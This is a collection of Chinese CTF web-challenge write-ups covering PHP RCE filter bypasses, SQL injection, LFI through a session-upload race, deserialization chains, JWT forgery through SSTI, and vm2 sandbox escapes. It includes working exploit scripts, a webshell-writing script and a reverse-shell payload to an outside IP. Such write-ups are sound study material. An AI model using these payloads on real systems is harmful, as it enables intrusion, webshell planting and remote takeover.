[HNCTF 2022 Week1]Challenge__rce get传参hint得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );if (isset ($_GET ['hint' ])) { highlight_file (__FILE__ ); } if (isset ($_POST ['rce' ])) { $rce = $_POST ['rce' ]; if (strlen ($rce ) <= 120 ) { if (is_string ($rce )) { if (!preg_match ("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/" , $rce )) { eval ($rce ); } else { echo ("Are you hack me?" ); } } else { echo "I want string!" ; } } else { echo "too long!" ; } }
一道无参RCE,发现|和^被过滤,不能用异或
查看所有未被过滤的字符
1 2 3 4 5 6 7 8 9 import reregex = r"[/!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]" printable_chars = range (32 , 127 ) for char in printable_chars: if not re.search(regex, chr (char)): print (chr (char), end=" " )
考虑使用自增
首先,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
基础语法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php @$_ = [].'' ; $_ = $_ [0 ];$___ = '_' ;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$___ = $_ ;$_ ++;$__ =$_ ;$__ .=$___ ;$_ ++;$_ ++;$_ ++;$__ .=$_ ;$_ ++;$__ .=$_ ;echo $__ ;$$__ ['_' ]($$__ ['__' ]);rce = $_ =%5 B%5 D.'' ;$_ %20 =%20 $_ %5 B0%5 D;$___ =%20 '_' ;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$_ ++;$___ %20 =%20 $_ ;$_ ++;$__ =$_ ;$__ .=$___ ;$_ ++;$_ ++;$_ ++;$__ .=$_ ;$_ ++;$__ .=$_ ;echo %20 $__ ;$$__ %5 B'_' %5 D($$__ %5 B'__' %5 D);&_=system&__=ls ?>
得尝试缩减,使用CHr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $_ =[]._;$__ =$_ [1 ];$_ =$_ [0 ];$_ ++;$_1 =++$_ ;$_ ++;$_ ++;$_ ++;$_ ++;$_ =$_1 .++$_ .$__ ; $_ =_.$_ (71 ).$_ (69 ).$_ (84 ); $$_ [1 ]($$_ [2 ]);
url编码
然后就。。。
[CISCN 2023 西南]do_you_like_read 解法一:
发现存在后面并且有与之对应的动态链接库文件
对着后门文件改路径即可
/var/www目录无回显可以考虑app目录
1 http://node4.anna.nssctf.cn:28157/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so
解法二:
将php等后缀改成jpg结尾
根据源码中的路径直接尝试访问webshell
解法三:
发现可能存在sql注入的漏洞点
直接跑sqlmap
–os-shell直接看环境变量即可
[强网杯 2019]随便注 联合查询的时候发现存在过滤
1 ';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1 2 3 4 5 6 7 8 HANDLER table_name OPEN ; HANDLER table_name READ NEXT; HANDLER table_name CLOSE ;
payload
1 1 ';handler `1919810931114514` open;handler `1919810931114514` read next;
[鹤城杯 2021]EasyP 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include 'utils.php' ;if (isset ($_POST ['guess' ])) { $guess = (string ) $_POST ['guess' ]; if ($guess === $secret ) { $message = 'Congratulations! The flag is: ' . $flag ; } else { $message = 'Wrong. Try Again' ; } } if (preg_match ('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("hacker :)" ); } if (preg_match ('/show_source/' , $_SERVER ['REQUEST_URI' ])){ exit ("hacker :)" ); } if (isset ($_GET ['show_source' ])) { highlight_file (basename ($_SERVER ['PHP_SELF' ])); exit (); }else { show_source (__FILE__ ); } ?>
包含utils.php文件,尝试请求
但是有waf
1 2 3 if (preg_match ('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("hacker :)" ); }
使用%0a绕过,%a0 是 URL 编码中的一个特殊字符,代表一个非打印字符(No-Break Space)。在 PHP 中,非打印字符通常会被忽略。所以,/utils.php/%a0 实际上被 PHP 解析为 /utils.php/。
%a0的作用解析 参考别的师傅
因此构造出payload
1 /index.php/utils.php/%a0
还有一层waf
1 2 3 if (preg_match ('/show_source/' , $_SERVER ['REQUEST_URI' ])){ exit ("hacker :)" ); }
这个比较简单
用show[source 或者show.source 或者show+source 绕过
最终payload
1 /index.php/utils.php/%a0?show[source
web3_莫负婵娟 皎洁一年惟此夜,莫教容易负婵娟
hint:环境变量 +linux字符串截取 + 通配符
fuzz一下
f12看到提示
1 2 3 <!--注意:正式上线请删除注释内容! --> <!-- username yu22x --> <!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
like有两个通配符%
和_
,这里没有过滤_
1 2 % 表示零个或多个字符的任意字符串 _(下划线)表示任何单个字符
尝试使用通配符判断位数
根据这个逻辑就可以逐个爆破密码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsfrom urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" url = 'https://cf189981-52d3-496b-9660-865ce7b82d8e.challenge.ctf.show/login.php' pwd = '' for i in range (32 ): print ('i = ' +str (i+1 ),end='\t' ) for j in a: password = pwd + j + (31 - i) * '_' data = {'username' :'yu22x' ,'password' :password} r = requests.post(url,data=data,verify=False ) if 'wrong' not in r.text: pwd += j print (pwd) break
进去后就是个命令执行
小写字母全部被过滤,想到可以用环境便利PATH进行命令构造,用自己的vps测试一下
ls
1 0;${PATH:5:1}${PATH:11:1}
没有c t,可以用nl来读取
1 0;${PATH:14:1}${PATH:5:1} ????.???
web2_故人心 三五夜中新月色,二千里外故人心
存在一个robots.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 );highlight_file (__FILE__ );$a =$_GET ['a' ];$b =$_GET ['b' ];$c =$_GET ['c' ];$url [1 ]=$_POST ['url' ];if (is_numeric ($a ) and strlen ($a )<7 and $a !=0 and $a **2 ==0 ){ $d = ($b ==hash ("md2" , $b )) && ($c ==hash ("md2" ,hash ("md2" , $c ))); if ($d ){ highlight_file ('hint.php' ); if (filter_var ($url [1 ],FILTER_VALIDATE_URL)){ $host =parse_url ($url [1 ]); print_r ($host ); if (preg_match ('/ctfshow\.com$/' ,$host ['host' ])){ print_r (file_get_contents ($url [1 ])); }else { echo '差点点就成功了!' ; } }else { echo 'please give me url!!!' ; } }else { echo '想一想md5碰撞原理吧?!' ; } }else { echo '第一个都过不了还想要flag呀?!' ; } 第一个都过不了还想要flag呀?!
访问hint、
1 2 3 4 5 Is it particularly difficult to break MD2?! I'll tell you quietly that I saw the payoad of the author. But the numbers are not clear.have fun~~~~ xxxxx024452 hash("md2",$b) xxxxxx48399 hash("md2",hash("md2",$b))
看样子是个爆破
第一关
1 if (is_numeric ($a ) and strlen ($a )<7 and $a !=0 and $a **2 ==0 ){
php小数点后超过161位做平方运算时会被截断,我们可以用科学计数法来代替,即 1e-162
第二关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php for ($i =100 ;$i <=999 ;$i ++){ $b = "0e" .$i ."024452" ; if ($b ==hash ("md2" , $b )){ echo $b ; } } echo "\n" ;for ($i =1000 ;$i <=9999 ;$i ++){ $c = "0e" .$i ."48399" ; if ($c ==hash ("md2" ,hash ("md2" , $c ))){ echo $c ; } }
第三关 post传参url
file_get_contents使用不存在的协议名导致目录穿越,实现SSRFphp源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。题目中要求url中存在 ctfshow.com,又要构造符合url格式
我们这边随便来一个yiyi协议,又因为
1 2 if (preg_match ('/ctfshow\.com$/' ,$host ['host' ])){ print_r (file_get_contents ($url [1 ]));
所以可以构造如下payload
1 url=yiyi://ctfshow.com/../../../../../../fl0g.txt
[NISACTF 2022]join-us fuzz
尝试报错注入,and被过滤
1 1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#
用||代替and
1 1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#
回显
1 XPATH syntax error: '~root@localhost~'
就可以编写脚本了,几个点,and过滤用||
代替,columns禁用,使用join做合并,mid截取长度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import requestsurl = 'http://node5.anna.nssctf.cn:21164/dl.php' def test (url ): data = { 'tt' :"1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#" } re = requests.post(url,data=data) print (re.text) def database (url ): data = { 'tt' :"1' || (select * from a)#" } re = requests.post(url,data=data) print (re.text) def table (url ): data = { 'tt' :"-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#" } re = requests.post(url,data=data) print (re.text) def column1 (url ): data = { 'tt' :"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join Fal_flag b)c)))#" } re = requests.post(url,data=data) print (re.text) def column2 (url ): data = { 'tt' :"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join output b)c)))#" } re = requests.post(url,data=data) print (re.text) def flag1 (url ): data = { 'tt' :"-1' || extractvalue(1,mid(concat(0x5c,(select data from output)),30,20))#" } re = requests.post(url,data=data) print (re.text) if __name__ == "__main__" : flag1(url)
[MoeCTF 2022]ezphp 变量覆盖
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file ('source.txt' );echo "<br><br>" ;$flag = 'xxxxxxxx' ;$giveme = 'can can need flag!' ;$getout = 'No! flag.Try again. Come on!' ;if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($giveme ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($getout ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo 'the flag is : ' . $flag ;?>
直接打
1 http://node5.anna.nssctf.cn:26770/?a=flag&flag=a
[第五空间 2021]EasyCleanup 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php if (!isset ($_GET ['mode' ])){ highlight_file (__file__); }else if ($_GET ['mode' ] == "eval" ){ $shell = isset ($_GET ['shell' ]) ? $_GET ['shell' ] : 'phpinfo();' ; if (strlen ($shell ) > 15 | filter ($shell ) | checkNums ($shell )) exit ("hacker" ); eval ($shell ); } if (isset ($_GET ['file' ])){ if (strlen ($_GET ['file' ]) > 15 | filter ($_GET ['file' ])) exit ("hacker" ); include $_GET ['file' ]; } function filter ($var ) { $banned = ["while" , "for" , "\$_" , "include" , "env" , "require" , "?" , ":" , "^" , "+" , "-" , "%" , "*" , "`" ]; foreach ($banned as $ban ){ if (strstr ($var , $ban )) return True; } return False; } function checkNums ($var ) { $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ; $cnt = 0 ; for ($i = 0 ; $i < strlen ($alphanum ); $i ++){ for ($j = 0 ; $j < strlen ($var ); $j ++){ if ($var [$j ] == $alphanum [$i ]){ $cnt += 1 ; if ($cnt > 8 ) return True; } } } return False; } ?>
当 mode=eval 时,若 shell 无值,则执行phpinfo();,若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
,限制太多,想要通过 RCE 得到 flag 几乎无从下手
于是我们考虑从file寻找攻击点。PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含。然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。
1 session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
1 session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
1 session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
1 session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
1 session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
1 session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名
利用该漏洞点需要满足
1 2 3 4 5 目标环境开启了session.upload_progress.enable选项 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段 请求的Cookie中包含Session ID 注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
php session.upload_progress通用利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsfrom re import findall as re_findallfrom base64 import b64encodefrom threading import ThreadHOST = 'http://node4.anna.nssctf.cn:28463/' PHPINFO_URL = HOST + 'phpinfo.php' LFI_URL = HOST + 'index.php' WEB_SHELL = b'<?php eval($_POST[cmd]);?>' session_configures = {} resp_text = re_findall('<td class="e">session\.(.*?)</td><td class="v">(.*?)</td>' , requests.get(PHPINFO_URL).text) list (map (lambda x : session_configures.update({x[0 ] : x[1 ]}), resp_text))if session_configures['upload_progress.enabled' ] != 'On' : print ('[-] Target is not vulnerable' ) exit(-1 ) success = False def request_phpinfo (): exploit = f"<?php file_put_contents('/tmp/.shell.php', base64_decode('{b64encode(WEB_SHELL).decode()} ')); echo md5('ccc');?>" data = {session_configures['upload_progress.name' ] : exploit} cookies = {'PHPSESSID' : 'c' } files = {'files' : ('hello.txt' , b'A' * 1024 * 1024 )} while not success: requests.post(PHPINFO_URL, data=data, cookies=cookies, files=files) def request_sess_file (): global success data = {'file' : session_configures['save_path' ] + '/sess_c' } while not success: resp = requests.get(LFI_URL, params=data) if '9df62e693988eb4e1e1444ece0578579' in resp.text: print ('[+] The webshell was successfully written to /tmp/.shell.php' ) success = True Thread(target=request_phpinfo).start() Thread(target=request_sess_file).start()
修改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import ioimport requestsimport threadingfrom cffi.backend_ctypes import xrangesessid = '0' target = 'http://node4.anna.nssctf.cn:28463/' file = 'ph0ebus.txt' f = io.BytesIO(b'a' * 1024 * 50 ) def write (session ): while True : session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_GET["cmd"]);?>' }, files={'file' : (file, f)}, cookies={'PHPSESSID' : sessid}) def read (session ): while True : resp = session.post( f"{target} ?mode=foo&file=/tmp/sess_{sessid} &cmd=system('cd /;ls;cat nssctfasdasdflag');" ) if file in resp.text: print (resp.text) event.clear() else : print ("[+]retry" ) if __name__ == "__main__" : event = threading.Event() with requests.session() as session: for i in xrange(1 , 30 ): threading.Thread(target=write, args=(session,)).start() for i in xrange(1 , 30 ): threading.Thread(target=read, args=(session,)).start() event.set ()
[FSCTF 2023]ez_php2 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 <?php highlight_file (__file__);Class Rd{ public $ending ; public $cl ; public $poc ; public function __destruct ( ) { echo "All matters have concluded" ; die ($this ->ending); } public function __call ($name , $arg ) { foreach ($arg as $key =>$value ) { if ($arg [0 ]['POC' ]=="1111" ) { echo "1" ; $this ->cl->var1 = "system" ; } } } } class Poc { public $payload ; public $fun ; public function __set ($name , $value ) { $this ->payload = $name ; $this ->fun = $value ; } function getflag ($paylaod ) { echo "Have you genuinely accomplished what you set out to do?" ; file_get_contents ($paylaod ); } } class Er { public $symbol ; public $Flag ; public function __construct ( ) { $this ->symbol = True; } public function __set ($name , $value ) { $value ($this ->Flag); } } class Ha { public $start ; public $start1 ; public $start2 ; public function __construct ( ) { echo $this ->start1."__construct" ."</br>" ; } public function __destruct ( ) { if ($this ->start2==="11111" ) { $this ->start1->Love ($this ->start); echo "You are Good!" ; } } } if (isset ($_GET ['Ha_rde_r' ])){ unserialize ($_GET ['Ha_rde_r' ]); } else { die ("You are Silly goose!" ); } ?>
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Rd { public $ending ; public $cl ; public $poc ; } class Poc { public $payload = ['POC' =>'1111' ]; public $fun ; } class Er { public $symbol ; public $Flag ; } class Ha { public $start ; public $start1 ; public $start2 ; } $a = new Ha ;$b = new Poc ;$c = new Er ;$d = new Rd ;$a ->start2 = "11111" ;$a ->start1 = $d ;$a ->start = $b ->payload;$d ->cl = $c ;$c ->Flag = 'cat /flag' ;echo serialize ($a );
payload
1 O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}
[SCTF 2021]loginme
I don’t know the age of the admin, can you tell me?By the way, admin’s Password maybe the thing you want
![image-20240721173419307](https://yiyyyyi.oss-cn-beijing.aliyuncs.com/img/image-20240721173419307.png)
xff ,X-Clien-IP,X-Real-IP,x-remote-ip都代表本地,最后X-Real-IP成功进入
然后分析源码
关键代码
middleware
成功进入后跳转跳到route.Login
首先获取id,没有的话默认为1,然后将字符串形式的id转换为整数,如果转换失败,则id将被设置为1
。
在structs.Users
列表中查找与id
匹配的用户,如果没有找到匹配项,则使用structs.Admin
作为默认用户。
检查用户的年龄字段,如果为空,则从查询参数中获取age
,如果仍然没有则使用默认值forever 18 (Tell me the age)
。
这里定义了一个结构体
然后有一个模板渲染
1 tmpl, err := template.New("admin_index" ).Parse(html)
go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露
而在go语言中使用的是{{.name}}
代表要应用的对象,所以可以让age={{.Password}}
证实推断
[NSSRound#4 SWPU]ez_rce 啥也没有,抓包后发现apache版本为2.4.49 (Unix)
CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现_cve-2021-41773复现-CSDN博客
同时dirsearch也有提示
抓包修改
直接访问看不了,最后在run.sh中看到flag的真实位置
[WUSTCTF 2020]CV Maker 随意注册一个账号登录
文件上传
flag在环境变量中
[NSSRound#1 Basic]basic_check PUT方法创建木马
[MoeCTF 2021]地狱通讯-改 直接给源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from flask import Flask, render_template, request, session, redirect, make_responsefrom secret import secret, headers, Userimport datetimeimport jwtapp = Flask(__name__) @app.route("/" , methods=['GET' , 'POST' ] ) def index (): with open ("app.py" , "r" ) as f: ctx = f.read() res = make_response(ctx) name = request.args.get('name' , '' ) if 'admin' in name or name == '' : return res payload = { "name" : name, } token = jwt.encode(payload, secret, algorithm='HS256' , headers=headers) res.set_cookie('token' , token) return res @app.route('/hello' , methods=['GET' , 'POST' ] ) def hello (): token = request.cookies.get('token' ) if not token: return redirect('/' , 302 ) try : name = jwt.decode(token, secret, algorithms=['HS256' ])['name' ] except jwt.exceptions.InvalidSignatureError as e: return "Invalid token" if name != "admin" : user = User(name) flag = request.args.get('flag' , '' ) message = "Hello {0}, your flag is {1}" .format (user, flag) return message else : return render_template('flag.html' , name=name) if __name__ == "__main__" : app.run()
大致看一眼,刚学的jwt伪造
index
路由:这个路由处理根路径 “/” 的请求,支持 GET 和 POST 方法。首先,它读取文件 “app.py” 的内容并将其作为响应返回。然后,从请求参数中获取名为 “name” 的值,如果该值包含 “admin” 或者为空字符串,将返回之前读取的 “app.py” 内容作为响应。否则,将使用提供的 “name” 构造一个 JWT 载荷(payload),然后使用指定的密钥 secret
和头部 headers
生成 JWT,将生成的 JWT 放入 cookie 中,最后将 “app.py” 内容作为响应返回。
hello
路由:这个路由处理 “/hello” 路径的请求,同样支持 GET 和 POST 方法。首先,它尝试从请求的 cookie 中获取名为 “token” 的 JWT。如果没有找到 token,将重定向到根路径 “/”. 如果找到 token,则尝试解码 JWT 并从中提取 “name” 字段的值。如果 JWT 验证失败(可能是因为签名不匹配),返回 “Invalid token”。
如果 “name” 字段不是 “admin”,则创建一个 User 实例,然后从请求参数中获取名为 “flag” 的值(如果存在)。接下来,根据用户的信息构造一条欢迎消息,将 flag 值嵌入消息中,然后将这个消息作为响应返回。
如果 “name” 字段是 “admin”,则渲染一个名为 “flag.html” 的模板,并传递 “name” 作为参数。
这里需要两个条件,secret和headers
用ssti漏洞带出这两个条件
创建一个用户
得到对应的jwt的值
1 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIn0.pEkv9ha7ygfhxZay1tBtb48vjBzAW05Rw4-azvvefGA
拉出来看一下具体内容
带着token去访问
尝试ssti
1 {0.__class__.__init__.__globals__}
secret: u_have_kn0w_what_f0rmat_i5
headers: {‘alg’: ‘HS256’, ‘typ’: ‘JWT’}
验证成功
将用户改为admin
将伪造好的jwt放入token重新发包访问hello路由得到flag
[HZNUCTF 2023 final]eznode Nodejs vm/vm2沙箱逃逸_nodejs vm2-CSDN博客
vm沙箱逃逸初探 | XiLitter
提示尝试查看源码,最直观的就是node.js
配置错误造成的源码泄露了,直接访问app.js
获得页面源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 const express = require ('express' );const app = express ();const { VM } = require ('vm2' );app.use (express.json ()); const backdoor = function ( ) { try { new VM ().run ({}.shellcode ); } catch (e) { console .log (e); } } const isObject = obj => obj && obj.constructor && obj.constructor === Object ;const merge = (a, b ) => { for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a ) => { return merge ({}, a); } app.get ('/' , function (req, res ) { res.send ("POST some json shit to /. no source code and try to find source code" ); }); app.post ('/' , function (req, res ) { try { console .log (req.body ) var body = JSON .parse (JSON .stringify (req.body )); var copybody = clone (body) if (copybody.shit ) { backdoor () } res.send ("post shit ok" ) }catch (e){ res.send ("is it shit ?" ) console .log (e) } }) app.listen (3000 , function ( ) { console .log ('start listening on port 3000' ); });
学习一下相关知识
内置模块的函数
require()
1 const express = require ('express' );
require()
函数用于加载Node.js模块或文件。例如,require('express')
加载了Express框架,使你能够使用其提供的功能。
console.log()
1 2 console .log (req.body );console .log (e);
console.log()
是Node.js中用于在控制台输出信息的函数,它通常用于调试目的。
JSON.parse()
和 JSON.stringify()
1 var body = JSON .parse (JSON .stringify (req.body ));
JSON.parse()
用于将JSON格式的字符串转换成JavaScript对象,而JSON.stringify()
则将JavaScript对象转换成JSON字符串。在上面的例子中,JSON.stringify(req.body)
将请求体转换成字符串,然后JSON.parse()
又将其转换回对象,但这实际上是不必要的,因为req.body
已经是一个对象。
app.listen()
1 2 3 app.listen (3000 , function ( ) { console .log ('start listening on port 3000' ); });
app.listen()
是Express框架中的方法,用于启动HTTP服务器并监听特定的端口。在这个例子中,服务器将在3000端口上监听。
Express框架相关的函数
app.use()
1 app.use (express.json ());
app.use()
是Express的中间件注册函数。在这个例子中,它注册了一个JSON解析中间件,使得服务器能够解析JSON格式的POST请求体。
app.get()
和 app.post()
1 2 app.get ('/' , function (req, res ) {}); app.post ('/' , function (req, res ) {});
这些方法用于定义路由处理函数。app.get()
定义了处理GET请求的路由,app.post()
定义了处理POST请求的路由。req
参数是请求对象,包含了客户端发送的所有信息;res
参数是响应对象,用于向客户端发送数据。
自定义函数
backdoor()
1 const backdoor = function ( ) {};
这个函数尝试在一个沙箱环境中运行潜在的恶意代码,这是一个非常危险的操作,因为它可能允许远程代码执行。
isObject()
1 const isObject = obj => obj && obj.constructor && obj.constructor === Object ;
这个函数用于检查一个变量是否是普通的JavaScript对象。
merge()
1 const merge = (a, b ) => {};
这个函数用于合并两个对象,如果对象中有嵌套的对象,它会递归地进行合并。
clone()
1 const clone = (a ) => {};
这个函数用于创建一个对象的深拷贝,使用merge()
函数实现。
传入一个json数据,经过json.parse函数解析,再通过clone()函数复制到copybody中
vm2会执行shellcode属性里面的内容,我们需要将该属性污染成vm2沙箱逃逸的payload即可执行命令,exp
1 { "shit" : "1" , "__proto__" : { "shellcode" : "let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();" } }
1 2 3 4 5 6 7 8 (' + function(){ TypeError.prototype.get_process = f=>f.constructor("return process" )(); try{ Object.preventExtensions(Buffer.from("" )).a = 1 ; } catch(e){ return e.get_process(()=>{ } ).mainModule.require("child_process" ).execSync("whoami" ).toString(); } } +')()
1 2 3 4 5 6 7 8 9 10 11 (' + function(){ try{ Buffer.from(new Proxy({ } , { getOwnPropertyDescriptor(){ throw f=>f.constructor("return process" )(); } } )); } catch(e){ return e(()=>{ } ).mainModule.require("child_process" ).execSync("whoami" ).toString(); } } +')()
1 2 3 4 5 6 7 8 (function (){ TypeError[ `${ `${ `prototyp`} e`} `] [ `${ `${ `get_proces`} s`} `] = f=>f[ `${ `${ `constructo`} r`} `] (`${ `${ `return this.proces`} s`} `)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1 ; } catch(e){ return e[ `${ `${ `get_proces`} s`} `] (()=>{ } ).mainModule[ `${ `${ `requir`} e`} `] (`${ `${ `child_proces`} s`} `)[ `${ `${ `exe`} cSync`} `] (`cat /flag`).toString(); } } )()
没有回显,反斜杠转义,bash里面单引号不行就换双引号
1 { "shit" : 1 , "__proto__" : { "shellcode" : "let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/101.37.27.18/4444 0>&1\"').toString();" } }
[西湖论剑 2022]real_ez_node
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 var createError = require ('http-errors' );var express = require ('express' );var path = require ('path' );var fs = require ('fs' );const lodash = require ('lodash' )var cookieParser = require ('cookie-parser' );var logger = require ('morgan' );var session = require ('express-session' );var index = require ('./routes/index' );var bodyParser = require ('body-parser' );var app = express ();app.use (bodyParser.json ()); app.use (bodyParser.urlencoded ({extended : false })); app.use (cookieParser ()); app.use (session ({ secret : 'secret' , resave : true , saveUninitialized : false , cookie : { maxAge : 1000 * 60 * 3 , }, })); app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'ejs' ); app.use (logger ('dev' )); app.use (express.static (path.join (__dirname, 'public' ))); app.use ('/' , index); app.use (function (req, res, next ) { next (createError (404 )); }); app.use (function (err, req, res, next ) { res.locals .message = err.message ; res.locals .error = req.app .get ('env' ) === 'development' ? err : {}; res.status (err.status || 500 ); res.render ('error' ); }); module .exports = app;
index.js
